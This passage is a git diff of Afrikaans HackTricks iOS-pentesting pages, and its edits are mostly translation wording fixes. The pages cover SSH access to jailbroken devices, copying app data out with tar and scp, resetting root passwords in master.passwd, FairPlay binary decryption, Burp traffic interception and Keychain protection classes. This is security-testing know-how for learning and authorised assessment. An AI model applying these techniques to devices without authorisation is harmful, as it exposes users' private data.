toegang verkry tot **`/User/Library/Notes/notes.sqlite`** om die notas wat binne die toepassing gestoor is, te lees. - Binne die gids van 'n geïnstalleerde toepassing (**`/User/Applications//`**) kan jy 'n paar interessante lêers vind: @@ -1048,7 +1048,7 @@ Vir hierdie doel word gewoonlik [**JSPatch**](https://github.com/bang590/JSPatch 'n Beduidende uitdaging met **3de party SDK's** is die **gebrek aan fyn beheer** oor hul funksies. Ontwikkelaars staan voor 'n keuse: of om die SDK te integreer en al sy funksies te aanvaar, insluitend potensiële sekuriteitskwesbaarhede en privaatheidskwessies, of om die voordele daarvan heeltemal te verwerp. Dikwels is ontwikkelaars nie in staat om kwesbaarhede binne hierdie SDK's self te patch nie. Verder, soos SDK's vertroue binne die gemeenskap verkry, kan sommige begin om malware te bevat. -Die dienste wat deur derdeparty SDK's verskaf word, kan gebruikersgedragopsporing, advertensie vertonings of gebruikerservaring verbeterings insluit. Dit stel egter 'n risiko in, aangesien ontwikkelaars dalk nie ten volle bewus is van die kode wat deur hierdie biblioteke uitgevoer word nie, wat lei tot potensiële privaatheids- en sekuriteitsrisiko's. Dit is van kardinale belang om die inligting wat met derdeparty dienste gedeel word, te beperk tot wat nodig is en te verseker dat geen sensitiewe data blootgestel word nie. +Die dienste wat deur derdeparty SDK's verskaf word, kan gebruikersgedragopsporing, advertensie vertonings of gebruikerservaring verbeterings insluit. Dit stel egter 'n risiko in, aangesien ontwikkelaars dalk nie ten volle bewus is van die kode wat deur hierdie biblioteke uitgevoer word nie, wat kan lei tot potensiële privaatheids- en sekuriteitsrisiko's. Dit is van kardinale belang om die inligting wat met derdeparty dienste gedeel word, te beperk tot wat nodig is en te verseker dat geen sensitiewe data blootgestel word nie. Die implementering van derdeparty dienste kom gewoonlik in twee vorme: 'n standalone biblioteek of 'n volledige SDK. Om gebruikersprivaatheid te beskerm, moet enige data wat met hierdie dienste gedeel word, **geanonimiseer** word om die bekendmaking van Persoonlik Identifiseerbare Inligting (PII) te voorkom. diff --git a/src/mobile-pentesting/ios-pentesting/basic-ios-testing-operations.md b/src/mobile-pentesting/ios-pentesting/basic-ios-testing-operations.md index 8e8595d30..97b92f695 100644 --- a/src/mobile-pentesting/ios-pentesting/basic-ios-testing-operations.md +++ b/src/mobile-pentesting/ios-pentesting/basic-ios-testing-operations.md @@ -38,17 +38,17 @@ $ instruments -s devices $ iproxy 2222 22 $ ssh -p 2222 root@localhost ``` -**Op-toestel skaal toepassings**, soos NewTerm 2, fasiliteer direkte toestel interaksie, veral nuttig vir probleemoplossing. **Reverse SSH skale** kan ook gevestig word vir afstandstoegang vanaf die gasheer rekenaar. +**Op-toestel-skaal toepassings**, soos NewTerm 2, fasiliteer direkte toestelinteraksie, veral nuttig vir probleemoplossing. **Reverse SSH shells** kan ook gevestig word vir afstandstoegang vanaf die gasheerrekenaar. ### **Herstel van Vergete Wagwoorde** -Om 'n vergete wagwoord terug te stel na die standaard (`alpine`), is dit nodig om die `/private/etc/master.passwd` lêer te redigeer. Dit behels die vervanging van die bestaande hash met die hash vir `alpine` langs die `root` en `mobile` gebruiker inskrywings. +Om 'n vergete wagwoord terug te stel na die standaard (`alpine`), is dit nodig om die `/private/etc/master.passwd` lêer te redigeer. Dit behels die vervanging van die bestaande hash met die hash vir `alpine` langs die `root` en `mobile` gebruikersinvoere. -## **Data Oordrag Tegnieke** +## **Data-oordragtegnieke** ### **Oordrag van App Data Lêers** -**Argivering en Herwinning via SSH en SCP:** Dit is eenvoudig om die toepassings se Data gids te argiveer met `tar` en dit dan oor te dra met `scp`. Die onderstaande opdrag argiveer die Data gids in 'n .tgz lêer, wat dan van die toestel af getrek word: +**Argivering en Herwinning via SSH en SCP:** Dit is eenvoudig om die toepassings se Data-gids te argiveer met `tar` en dit dan oor te dra met `scp`. Die onderstaande opdrag argiveer die Data-gids in 'n .tgz-lêer, wat dan van die toestel af getrek word: ```bash tar czvf /tmp/data.tgz /private/var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693 exit @@ -56,11 +56,11 @@ scp -P 2222 root@localhost:/tmp/data.tgz . ``` ### **Grafiese Gebruikerskoppelvlak Gereedskap** -**Gebruik iFunbox en iExplorer:** Hierdie GUI-gereedskap is nuttig vir die bestuur van lêers op iOS-toestelle. egter, begin met iOS 8.4, het Apple hierdie gereedskap se toegang tot die aansoek sandbox beperk tensy die toestel gejailbreak is. +**Gebruik iFunbox en iExplorer:** Hierdie GUI-gereedskap is nuttig vir die bestuur van lêers op iOS-toestelle. egter, begin met iOS 8.4, het Apple hierdie gereedskap se toegang tot die toepassingsandbox beperk tensy die toestel gejailbreak is. ### **Gebruik Objection vir Lêerbestuur** -**Interaktiewe Skulp met Objection:** Die bekendstelling van objection bied toegang tot die Bundle-gids van 'n aansoek. Van hier af kan jy na die aansoek se Dokumente-gids navigeer en lêers bestuur, insluitend die aflaai en oplaai daarvan na en van die iOS-toestel. +**Interaktiewe Skulp met Objection:** Die bekendstelling van objection bied toegang tot die Bundle-gids van 'n app. Van hier af kan jy na die app se Dokumente-gids navigeer en lêers bestuur, insluitend die aflaai en oplaai daarvan na en van die iOS-toestel. ```bash objection --gadget com.apple.mobilesafari explorer cd /var/mobile/Containers/Data/Application/72C7AAFB-1D75-4FBA-9D83-D8B4A2D44133/Documents @@ -75,14 +75,14 @@ file download npm install -g itms-services itms-services -u "itms-services://?action=download-manifest&url=https://s3-ap-southeast-1.amazonaws.com/test-uat/manifest.plist" -o - > out.ipa ``` -### **Onttrek die App Binaire** +### **Onttrek die App Binêre** -1. **Van 'n IPA:** Unzip die IPA om toegang te verkry tot die gedekripteerde app binaire. -2. **Van 'n Jailbroken Toestel:** Installeer die app en onttrek die gedekripteerde binaire uit geheue. +1. **Van 'n IPA:** Unzip die IPA om toegang te verkry tot die gedekripteerde app binêre. +2. **Van 'n Jailbroken Toestel:** Installeer die app en onttrek die gedekripteerde binêre uit geheue. ### **Dekripsie Proses** -**Handmatige Dekripsie Oorsig:** iOS app binaire is deur Apple met FairPlay geënkripteer. Om om te keer, moet 'n mens die gedekripteerde binaire uit geheue dump. Die dekripsie proses behels die nagaan van die PIE vlag, die aanpassing van geheue vlae, die identifisering van die geënkripteerde afdeling, en dan die dump en vervanging van hierdie afdeling met sy gedekripteerde vorm. +**Handmatige Dekripsie Oorsig:** iOS app binêre is deur Apple met FairPlay geënkripteer. Om omgekeerd te werk, moet 'n mens die gedekripteerde binêre uit geheue dump. Die dekripsie proses behels die nagaan van die PIE-vlag, die aanpassing van geheuevlagte, die identifisering van die geënkripteerde afdeling, en dan die dump en vervanging van hierdie afdeling met sy gedekripteerde vorm. **Nagaan en Wysig PIE Vlag:** ```bash @@ -142,7 +142,7 @@ bagbak --raw Chrome ### **Installeer Apps** -**Sideloading** verwys na die installering van toepassings buite die amptelike App Store. Hierdie proses word hanteer deur die **installd daemon** en vereis dat toepassings onderteken word met 'n Apple-uitgereikte sertifikaat. Jailbroken toestelle kan hierdie vereiste omseil deur **AppSync**, wat die installering van vals-ondertekende IPA-pakkette moontlik maak. +**Sideloading** verwys na die installering van toepassings buite die amptelike App Store. Hierdie proses word hanteer deur die **installd daemon** en vereis dat apps met 'n Apple-uitgereikte sertifikaat onderteken word. Jailbroken toestelle kan dit omseil deur **AppSync**, wat die installering van vals-ondertekende IPA-pakkette moontlik maak. #### **Sideloading Gereedskap** @@ -150,7 +150,7 @@ bagbak --raw Chrome - **libimobiledevice**: 'n Biblioteek vir Linux en macOS om met iOS-toestelle te kommunikeer. Installasie-opdragte en gebruiksvoorbeelde vir ideviceinstaller word verskaf vir die installering van apps oor USB. -- **ipainstaller**: Hierdie opdraglyn-gereedskap laat direkte app-installasie op iOS-toestelle toe. +- **ipainstaller**: Hierdie opdraglyn-gereedskap stel direkte app-installasie op iOS-toestelle moontlik. - **ios-deploy**: Vir macOS-gebruikers installeer ios-deploy iOS-apps vanaf die opdraglyn. Ontzip van die IPA en die gebruik van die `-m` vlag vir direkte app-lancering is deel van die proses. @@ -162,7 +162,7 @@ Om iPad-spesifieke toepassings op iPhone of iPod touch toestelle te installeer, **Nota**: Hierdie metode mag misluk as die toepassing vermoëns vereis wat eksklusief is vir nuwer iPad-modelle terwyl 'n ouer iPhone of iPod touch gebruik word. -## Verwysings +## References - [https://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/](ttps://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/) - [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0052/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0052/) diff --git a/src/mobile-pentesting/ios-pentesting/burp-configuration-for-ios.md b/src/mobile-pentesting/ios-pentesting/burp-configuration-for-ios.md index c2a2ef18b..feaa2cb19 100644 --- a/src/mobile-pentesting/ios-pentesting/burp-configuration-for-ios.md +++ b/src/mobile-pentesting/ios-pentesting/burp-configuration-for-ios.md @@ -16,7 +16,7 @@ Die **Burp Mobile Assistant** vereenvoudig die installasieproses van die Burp Se 2. **Sertifikaat Aflaai:** Navigeer na `http://burp` op jou toestel se blaaier om die sertifikaat af te laai. 3. **Sertifikaat Installasie:** Installeer die afgelaaide profiel via **Instellings** > **Algemeen** > **VPN & Toestelbestuur**, en stel dan vertroue in vir die PortSwigger CA onder **Sertifikaat Vertrou Instellings**. -### Konfigurasie van 'n Interceptie Proxy +### Konfigurasie van 'n Interseptie Proxy Die opstelling stel verkeer analise tussen die iOS toestel en die internet deur Burp in staat, wat 'n Wi-Fi netwerk vereis wat kliënt-tot-kliënt verkeer ondersteun. As dit nie beskikbaar is nie, kan 'n USB-verbinding via usbmuxd as 'n alternatief dien. PortSwigger se tutorials bied diepgaande instruksies oor [toestel konfigurasie](https://support.portswigger.net/customer/portal/articles/1841108-configuring-an-ios-device-to-work-with-burp) en [sertifikaat installasie](https://support.portswigger.net/customer/portal/articles/1841109-installing-burp-s-ca-certificate-in-an-ios-device). @@ -40,7 +40,7 @@ ssh -R 8080:localhost:8080 root@localhost -p 2222 ### Volledige Netwerk Monitering/Sniffing -Monitering van nie-HTTP toestel verkeer kan doeltreffend uitgevoer word met **Wireshark**, 'n hulpmiddel wat in staat is om alle vorme van dataverkeer te vang. Vir iOS toestelle, word werklike tyd verkeer monitering gefasiliteer deur die skepping van 'n Remote Virtual Interface, 'n proses wat in [hierdie Stack Overflow pos](https://stackoverflow.com/questions/9555403/capturing-mobile-phone-traffic-on-wireshark/33175819#33175819) gedetailleerd word. Voor jy begin, is die installasie van **Wireshark** op 'n macOS stelsel 'n vereiste. +Monitering van nie-HTTP toestel verkeer kan doeltreffend uitgevoer word met **Wireshark**, 'n hulpmiddel wat in staat is om alle vorme van dataverkeer te vang. Vir iOS toestelle, word werklike tyd verkeer monitering gefasiliteer deur die skepping van 'n Afgeleide Virtuele Koppelvlak, 'n proses wat in [hierdie Stack Overflow pos](https://stackoverflow.com/questions/9555403/capturing-mobile-phone-traffic-on-wireshark/33175819#33175819) gedetailleerd is. Voor jy begin, is die installasie van **Wireshark** op 'n macOS stelsel 'n vereiste. Die prosedure behels verskeie sleutelstappe: @@ -50,8 +50,8 @@ Die prosedure behels verskeie sleutelstappe: $ rvictl -s Starting device [SUCCEEDED] with interface rvi0 ``` -3. Na die identifikasie van die UDID, **Wireshark** moet geopen word, en die "rvi0" koppelvlak gekies word vir datavang. -4. Vir geteikende monitering, soos om HTTP-verkeer wat verband hou met 'n spesifieke IP-adres te vang, kan Wireshark se Vang Filters gebruik word: +3. Na identifikasie van die UDID, **Wireshark** moet geopen word, en die "rvi0" koppelvlak gekies word vir datavang. +4. Vir geteikende monitering, soos om HTTP-verkeer wat verband hou met 'n spesifieke IP-adres te vang, kan Wireshark se Capture Filters gebruik word: ## Burp Sertifikaat Installasie in Simulator @@ -77,7 +77,7 @@ In _Proxy_ --> _Options_ --> _Export CA certificate_ --> _Certificate in DER for Stappe om Burp as proxy te konfigureer: - Gaan na _System Preferences_ --> _Network_ --> _Advanced_ -- In die _Proxies_ tab merk _Web Proxy (HTTP)_ en _Secure Web Proxy (HTTPS)_ +- In die _Proxies_ oortjie merk _Web Proxy (HTTP)_ en _Secure Web Proxy (HTTPS)_ - In albei opsies konfigureer _127.0.0.1:8080_ ![](<../../images/image (431).png>) diff --git a/src/mobile-pentesting/ios-pentesting/extracting-entitlements-from-compiled-application.md b/src/mobile-pentesting/ios-pentesting/extracting-entitlements-from-compiled-application.md index 5d823f3da..8db4777f5 100644 --- a/src/mobile-pentesting/ios-pentesting/extracting-entitlements-from-compiled-application.md +++ b/src/mobile-pentesting/ios-pentesting/extracting-entitlements-from-compiled-application.md @@ -1,18 +1,18 @@ -# Onttrek van Regte uit Gecompileerde Toepassing +# Uittreksel van Regte uit Gecompileerde Toepassing {{#include ../../banners/hacktricks-training.md}} Samevatting van die bladsy [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0069/#review-entitlements-embedded-in-the-compiled-app-binary](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0069/#review-entitlements-embedded-in-the-compiled-app-binary) -### **Onttrek van Regte en Mobiele Provision Lêers** +### **Uittreksel van Regte en Mobiele Provision Lêers** -Wanneer jy met 'n app se IPA of 'n geïnstalleerde app op 'n jailbroken toestel werk, mag dit nie moontlik wees om `.entitlements` lêers of die `embedded.mobileprovision` lêer direk te vind nie. Tog kan regte eiendomslijste steeds uit die app binêre onttrek word, volgens die prosedures wat in die "iOS Basiese Sekuriteitstoetsing" hoofstuk uiteengesit is, veral die "Verkryging van die App Binêre" afdeling. +Wanneer jy met 'n app se IPA of 'n geïnstalleerde app op 'n jailbroken toestel werk, mag dit nie moontlik wees om `.entitlements` lêers of die `embedded.mobileprovision` lêer direk te vind nie. Tog kan regte eiendomslijste steeds uit die app-binary onttrek word, volgens die prosedures uiteengesit in die "iOS Basiese Sekuriteitstoetsing" hoofstuk, veral die "Verkryging van die App Binary" afdeling. -Selfs met versleutelde binêre, kan sekere stappe gebruik word om hierdie lêers te onttrek. Indien hierdie stappe misluk, kan gereedskap soos Clutch (indien versoenbaar met die iOS weergawe), frida-ios-dump, of soortgelyke nutsmiddels benodig word om die app te ontsleutel en onttrek. +Selfs met versleutelde binaries kan sekere stappe gebruik word om hierdie lêers te onttrek. Indien hierdie stappe misluk, kan gereedskap soos Clutch (indien versoenbaar met die iOS weergawe), frida-ios-dump, of soortgelyke nutsprogramme benodig word om die app te ontsleutel en onttrek. -#### **Onttrek van die Regte Plist uit die App Binêre** +#### **Uittreksel van die Regte Plist uit die App Binary** -Met die app binêre toeganklik op 'n rekenaar, kan **binwalk** gebruik word om alle XML lêers te onttrek. Die onderstaande opdrag demonstreer hoe om dit te doen: +Met die app-binary toeganklik op 'n rekenaar, kan **binwalk** gebruik word om alle XML-lêers te onttrek. Die onderstaande opdrag demonstreer hoe om dit te doen: ```bash $ binwalk -e -y=xml ./Telegram\ X diff --git a/src/mobile-pentesting/ios-pentesting/frida-configuration-in-ios.md b/src/mobile-pentesting/ios-pentesting/frida-configuration-in-ios.md index bfa51d1ee..b7c0a3205 100644 --- a/src/mobile-pentesting/ios-pentesting/frida-configuration-in-ios.md +++ b/src/mobile-pentesting/ios-pentesting/frida-configuration-in-ios.md @@ -135,7 +135,7 @@ console.log("loaded") ### Frida Stalker -[From the docs](https://frida.re/docs/stalker/): Stalker is Frida se kode **spoor** **enjin**. Dit laat toe dat threads **gevolg** word, **vang** elke funksie, **elke blok**, selfs elke instruksie wat uitgevoer word. +[From the docs](https://frida.re/docs/stalker/): Stalker is Frida se kode **opsporing enjin**. Dit laat threads toe om **gevolg** te word, **vang** elke funksie, **elke blok**, selfs elke instruksie wat uitgevoer word. Jy het 'n voorbeeld wat Frida Stalker implementeer in [https://github.com/poxyran/misc/blob/master/frida-stalker-example.py](https://github.com/poxyran/misc/blob/master/frida-stalker-example.py) @@ -300,7 +300,7 @@ fpicker -v --fuzzer-mode active -e attach -p -D usb -o example Jy kan die **macOS konsole** of die **`log`** cli nagaan om macOS logs te kontroleer.\ Jy kan ook die logs van iOS nagaan met **`idevicesyslog`**.\ -Sommige logs sal inligting weglat deur **``** toe te voeg. Om al die inligting te wys, moet jy 'n profiel van [https://developer.apple.com/bug-reporting/profiles-and-logs/](https://developer.apple.com/bug-reporting/profiles-and-logs/) installeer om daardie private inligting te aktiveer. +Sommige logs sal inligting weglat deur **``** by te voeg. Om al die inligting te wys, moet jy 'n profiel van [https://developer.apple.com/bug-reporting/profiles-and-logs/](https://developer.apple.com/bug-reporting/profiles-and-logs/) installeer om daardie private inligting te aktiveer. As jy nie weet wat om te doen nie: ```sh @@ -326,7 +326,7 @@ Jy kan die crashes nagaan in: - `~/Library/Logs/DiagnosticReports` > [!WARNING] -> iOS stoor slegs 25 crashes van dieselfde app, so jy moet dit skoonmaak of iOS sal ophou om crashes te genereer. +> iOS stoor slegs 25 crashes van dieselfde app, so jy moet dit skoonmaak of iOS sal ophou om crashes te skep. ## Frida Android Tutorials diff --git a/src/mobile-pentesting/ios-pentesting/ios-app-extensions.md b/src/mobile-pentesting/ios-pentesting/ios-app-extensions.md index 994a2cfb2..bf63ca380 100644 --- a/src/mobile-pentesting/ios-pentesting/ios-app-extensions.md +++ b/src/mobile-pentesting/ios-pentesting/ios-app-extensions.md @@ -2,32 +2,32 @@ {{#include ../../banners/hacktricks-training.md}} -App-uitbreidings verbeter die funksionaliteit van toepassings deur hulle in staat te stel om met ander toepassings of die stelsel te kommunikeer, wat pasgemaakte funksies of inhoud bied. Hierdie uitbreidings sluit in: +App uitbreidings verbeter die funksionaliteit van toepassings deur hulle in staat te stel om met ander toepassings of die stelsel te kommunikeer, wat pasgemaakte funksies of inhoud bied. Hierdie uitbreidings sluit in: - **Pasgemaakte Sleutelbord**: Bied 'n unieke sleutelbord oor alle toepassings, wat die standaard iOS-sleutelbord vervang. - **Deel**: Maak dit moontlik om te deel met sosiale netwerke of met ander direk. - **Vandag (Widgets)**: Lewer inhoud of voer take vinnig uit vanaf die Kennisgewing Sentrum se Vandag-weergave. -Wanneer 'n gebruiker met hierdie uitbreidings omgaan, soos om teks van 'n gasheer-toepassing te deel, verwerk die uitbreiding hierdie insette binne sy konteks, en benut die gedeelde inligting om sy taak uit te voer, soos in Apple se dokumentasie uiteengesit. +Wanneer 'n gebruiker met hierdie uitbreidings omgaan, soos om teks van 'n gasheer toepassing te deel, verwerk die uitbreiding hierdie insette binne sy konteks, en benut die gedeelde inligting om sy taak uit te voer, soos in Apple se dokumentasie uiteengesit. ### **Sekuriteits oorwegings** Belangrike sekuriteitsaspekte sluit in: - Uitbreidings en hul bevatende toepassings kommunikeer via inter-proses kommunikasie, nie direk nie. -- Die **Vandag-widget** is uniek in die sin dat dit sy toepassing kan vra om via 'n spesifieke metode te open. -- Gedeelde data-toegang is toegelaat binne 'n private houer, maar direkte toegang is beperk. -- Sekere API's, insluitend HealthKit, is verbode vir app-uitbreidings, wat ook nie langlopende take kan begin, toegang tot die kamera of mikrofoon kan verkry nie, behalwe vir iMessage-uitbreidings. +- Die **Vandag widget** is uniek in die sin dat dit sy toepassing kan vra om via 'n spesifieke metode te open. +- Gedeelde data toegang is toegelaat binne 'n private houer, maar direkte toegang is beperk. +- Sekere API's, insluitend HealthKit, is buite bereik vir app uitbreidings, wat ook nie langlopende take kan begin, toegang tot die kamera of mikrofoon kan verkry nie, behalwe vir iMessage uitbreidings. ### Statiese Analise -#### **Identifisering van App-uitbreidings** +#### **Identifisering van App Uitbreidings** -Om app-uitbreidings in bronkode te vind, soek vir `NSExtensionPointIdentifier` in Xcode of ondersoek die app-bundel vir `.appex`-lêers wat uitbreidings aandui. Sonder bronkode, gebruik grep of SSH om hierdie identifiseerders binne die app-bundel te lokaliseer. +Om app uitbreidings in bronkode te vind, soek vir `NSExtensionPointIdentifier` in Xcode of ondersoek die app bundel vir `.appex` lêers wat uitbreidings aandui. Sonder bronkode, gebruik grep of SSH om hierdie identifiseerders binne die app bundel te lokaliseer. -#### **Gesteunde Datatipe** +#### **Gesteunde Data Tipes** -Kontroleer die `Info.plist`-lêer van 'n uitbreiding vir `NSExtensionActivationRule` om gesteunde datatipe te identifiseer. Hierdie opstelling verseker dat slegs versoenbare datatipe die uitbreiding in gasheer-toepassings aktiveer. +Kontroleer die `Info.plist` lêer van 'n uitbreiding vir `NSExtensionActivationRule` om gesteunde data tipes te identifiseer. Hierdie opstelling verseker dat slegs kompatible data tipes die uitbreiding in gasheer toepassings aktiveer. #### **Data Deel** @@ -35,13 +35,13 @@ Data deel tussen 'n toepassing en sy uitbreiding vereis 'n gedeelde houer, opges #### **Beperking van Uitbreidings** -Toepassings kan sekere tipe uitbreidings beperk, veral pasgemaakte sleutelborde, om te verseker dat sensitiewe data hanteer word in ooreenstemming met sekuriteitsprotokolle. +Toepassings kan sekere tipe uitbreidings beperk, veral pasgemaakte sleutelborde, om te verseker dat sensitiewe data hanteer volgens sekuriteitsprotokolle. ### Dinamiese Analise Dinamiese analise behels: -- **Inspekteer Gedeelde Items**: Haak in by `NSExtensionContext - inputItems` om gedeelde datatipe en oorspronge te sien. +- **Inspekteer Gedeelde Items**: Haak in by `NSExtensionContext - inputItems` om gedeelde data tipes en oorspronge te sien. - **Identifisering van Uitbreidings**: Ontdek watter uitbreidings jou data verwerk deur interne meganismes, soos `NSXPCConnection`, te observeer. Gereedskap soos `frida-trace` kan help om die onderliggende prosesse te verstaan, veral vir diegene wat belangstel in die tegniese besonderhede van inter-proses kommunikasie. diff --git a/src/mobile-pentesting/ios-pentesting/ios-basics.md b/src/mobile-pentesting/ios-pentesting/ios-basics.md index 0577e0fd2..d1e26d88f 100644 --- a/src/mobile-pentesting/ios-pentesting/ios-basics.md +++ b/src/mobile-pentesting/ios-pentesting/ios-basics.md @@ -10,16 +10,16 @@ Toepassings word in 'n spesifieke gids geïnstalleer (`private/var/mobile/Applic iOS bied ontwikkelaars die **Data Protection APIs**, gebou op die Secure Enclave Processor (SEP) — 'n toegewyde koprosessor vir kriptografiese operasies en sleutelbestuur. Die SEP verseker data beskerming integriteit deur 'n unieke toestel-spesifieke sleutel, die toestel UID, wat daarin ingebed is. -By die skep van 'n lêer, word 'n unieke 256-bit AES-enkripsiesleutel gegenereer, wat die lêer se inhoud enkripteer. Hierdie enkripsiesleutel, saam met 'n klas ID, word dan geënkripteer met 'n klas sleutel en in die lêer se metadata gestoor. Om 'n lêer te dekripteer, behels dit die gebruik van die stelselsleutel om toegang tot die metadata te verkry, die klas sleutel met die klas ID te onttrek, en dan die lêer se unieke enkripsiesleutel te dekripteer. +By die skep van 'n lêer, word 'n unieke 256-bit AES-enkripsiesleutel gegenereer, wat die lêer se inhoud enkripteer. Hierdie enkripsiesleutel, saam met 'n klas ID, word dan geënkripteer met 'n klas sleutel en in die lêer se metadata gestoor. Om 'n lêer te dekripteer, behels die gebruik van die stelselsleutel om toegang tot die metadata te verkry, die klas sleutel met die klas ID te onttrek, en dan die lêer se unieke enkripsiesleutel te dekripteer. iOS definieer **vier beskermingsklasse** vir datasekuriteit, wat bepaal wanneer en hoe data toegang kan verkry: -- **Complete Protection (NSFileProtectionComplete)**: Data is ontoeganklik totdat die toestel ontgrendel word met die gebruiker se wagwoord. +- **Complete Protection (NSFileProtectionComplete)**: Data is ontoeganklik totdat die toestel ontgrendel word met die gebruiker se toegangscode. - **Protected Unless Open (NSFileProtectionCompleteUnlessOpen)**: Laat lêer toegang toe selfs nadat die toestel vergrendel is, mits die lêer geopen was toe die toestel ontgrendel is. - **Protected Until First User Authentication (NSFileProtectionCompleteUntilFirstUserAuthentication)**: Data is toeganklik na die eerste gebruiker ontgrendel na opstart, en bly toeganklik selfs al is die toestel weer vergrendel. - **No Protection (NSFileProtectionNone)**: Data is slegs beskerm deur die toestel UID, wat vinnige afstandsdata-wissing fasiliteer. -Die enkripsie van al die klasse, behalwe vir `NSFileProtectionNone`, behels 'n sleutel wat afgelei is van beide die toestel UID en die gebruiker se wagwoord, wat verseker dat dekripsie slegs op die toestel met die korrekte wagwoord moontlik is. Vanaf iOS 7 is die standaard beskermingsklas "Protected Until First User Authentication". +Die enkripsie van al die klasse, behalwe vir `NSFileProtectionNone`, behels 'n sleutel wat afgelei is van beide die toestel UID en die gebruiker se toegangscode, wat verseker dat dekripsie slegs op die toestel met die korrekte toegangscode moontlik is. Vanaf iOS 7 en verder is die standaard beskermingsklas "Protected Until First User Authentication". Ontwikkelaars kan [**FileDP**](https://github.com/abjurato/FileDp-Source) gebruik, 'n hulpmiddel om die dataprotectie klas van lêers op 'n iPhone te inspekteer. ```python @@ -32,34 +32,34 @@ python filedp.py /path/to/check ``` ## **Die Sleutelhouer** -In iOS dien 'n **Sleutelhouer** as 'n veilige **geënkripteerde houer** vir die stoor van **sensitiewe inligting**, wat slegs toeganklik is deur die toepassing wat dit gestoor het of dié wat eksplisiet gemagtig is. Hierdie enkripsie word versterk deur 'n unieke **wagwoord wat deur iOS gegenereer is**, wat self geënkripteer is met **AES**. Hierdie enkripsieproses maak gebruik van 'n **PBKDF2-funksie**, wat die gebruiker se toegangskode kombineer met 'n sout wat afkomstig is van die toestel se **UID**, 'n komponent waartoe slegs die **veilige enclave-skyfie** toegang het. Gevolglik, selfs al is die gebruiker se toegangskode bekend, bly die Sleutelhouer-inhoud ontoeganklik op enige toestel anders as die een waar dit oorspronklik geënkripteer is. +In iOS dien 'n **Sleutelhouer** as 'n veilige **geënkripteerde houer** vir die stoor van **sensitiewe inligting**, wat slegs toeganklik is deur die toepassing wat dit gestoor het of dié wat eksplisiet gemagtig is. Hierdie enkripsie word versterk deur 'n unieke **wagwoord wat deur iOS gegenereer is**, wat self geënkripteer is met **AES**. Hierdie enkripsieproses maak gebruik van 'n **PBKDF2-funksie**, wat die gebruiker se toegangscode kombineer met 'n sout wat afkomstig is van die toestel se **UID**, 'n komponent waartoe slegs die **veilige enclave-skyfie** toegang kan hê. Gevolglik, selfs al is die gebruiker se toegangscode bekend, bly die Sleutelhouer-inhoud ontoeganklik op enige toestel anders as die een waar dit oorspronklik geënkripteer is. -**Bestuur en toegang** tot die Sleutelhouerdata word hanteer deur die **`securityd` daemon**, gebaseer op spesifieke app-regte soos `Keychain-access-groups` en `application-identifier`. +**Bestuur en toegang** tot die Sleutelhouer-data word hanteer deur die **`securityd` daemon**, gebaseer op spesifieke app-regte soos `Keychain-access-groups` en `application-identifier`. ### **Sleutelhouer API Operasies** Die Sleutelhouer API, gedetailleerd by [Apple se Sleutelhouer Dienste dokumentasie](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/02concepts/concepts.html), bied essensiële funksies vir veilige stoorbestuur: - **`SecItemAdd`**: Voeg 'n nuwe item by die Sleutelhouer. -- **`SecItemUpdate`**: Werk 'n bestaande item in die Sleutelhouer by. +- **`SecItemUpdate`**: Werk 'n bestaande item in die Sleutelhouer op. - **`SecItemCopyMatching`**: Verkry 'n item uit die Sleutelhouer. - **`SecItemDelete`**: Verwyder 'n item uit die Sleutelhouer. -Brute-forcing van die Sleutelhouer wagwoord behels of die geënkripteerde sleutel direk aan te val of te probeer om die toegangskode op die toestel self te raai, wat aansienlik belemmer word deur die veilige enclave se afdwinging van 'n vertraging tussen mislukte pogings. +Brute-forcing van die Sleutelhouer wagwoord behels of die geënkripteerde sleutel direk aan te val of te probeer om die toegangscode op die toestel self te raai, wat aansienlik belemmer word deur die veilige enclave se afdwinging van 'n vertraging tussen mislukte pogings. ### **Konfigurasie van Sleutelhouer Item Data Beskerming** -Data beskermingsvlakke vir Sleutelhouer items word gestel met die `kSecAttrAccessible` attribuut tydens item skep of opdatering. Hierdie vlakke, [soos gespesifiseer deur Apple](https://developer.apple.com/documentation/security/keychain_services/keychain_items/item_attribute_keys_and_values#1679100), bepaal wanneer en hoe Sleutelhouer items toeganklik is: +Data beskermingsvlakke vir Sleutelhouer-items word gestel met die `kSecAttrAccessible` attribuut tydens item skep of opdatering. Hierdie vlakke, [soos gespesifiseer deur Apple](https://developer.apple.com/documentation/security/keychain_services/keychain_items/item_attribute_keys_and_values#1679100), bepaal wanneer en hoe Sleutelhouer-items toeganklik is: - **`kSecAttrAccessibleAlways`**: Te alle tye toeganklik, ongeag toestel se vergrendelstatus. - **`kSecAttrAccessibleAlwaysThisDeviceOnly`**: Altijd toeganklik, maar nie ingesluit in rugsteun nie. -- **`kSecAttrAccessibleAfterFirstUnlock`**: Toeganklik na die eerste ontgrendeling na herstart. +- **`kSecAttrAccessibleAfterFirstUnlock`**: Toeganklik na die eerste ontgrendeling na herbegin. - **`kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly`**: Dieselfde as hierbo, maar nie oordraagbaar na nuwe toestelle nie. - **`kSecAttrAccessibleWhenUnlocked`**: Slegs toeganklik wanneer die toestel ontgrendel is. - **`kSecAttrAccessibleWhenUnlockedThisDeviceOnly`**: Toeganklik wanneer ontgrendel, nie ingesluit in rugsteun nie. -- **`kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly`**: Vereis toestel toegangskode, nie ingesluit in rugsteun nie. +- **`kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly`**: Vereis toestel toegangscode, nie ingesluit in rugsteun nie. -**`AccessControlFlags`** verfyn verder toegangmetodes, wat biometriese verifikasie of toegangskode gebruik moontlik maak. +**`AccessControlFlags`** verfyn verder toegangmetodes, wat biometriese verifikasie of toegangscode gebruik toelaat. ### **Waarskuwing vir Jailbroken Toestelle** @@ -82,9 +82,9 @@ userDefaults.synchronize() // Forces the app to update UserDefaults ``` # **App Vermoëns** -In die wêreld van app ontwikkeling, speel **sandboxing** 'n belangrike rol in die verbetering van sekuriteit. Hierdie proses verseker dat elke app binne 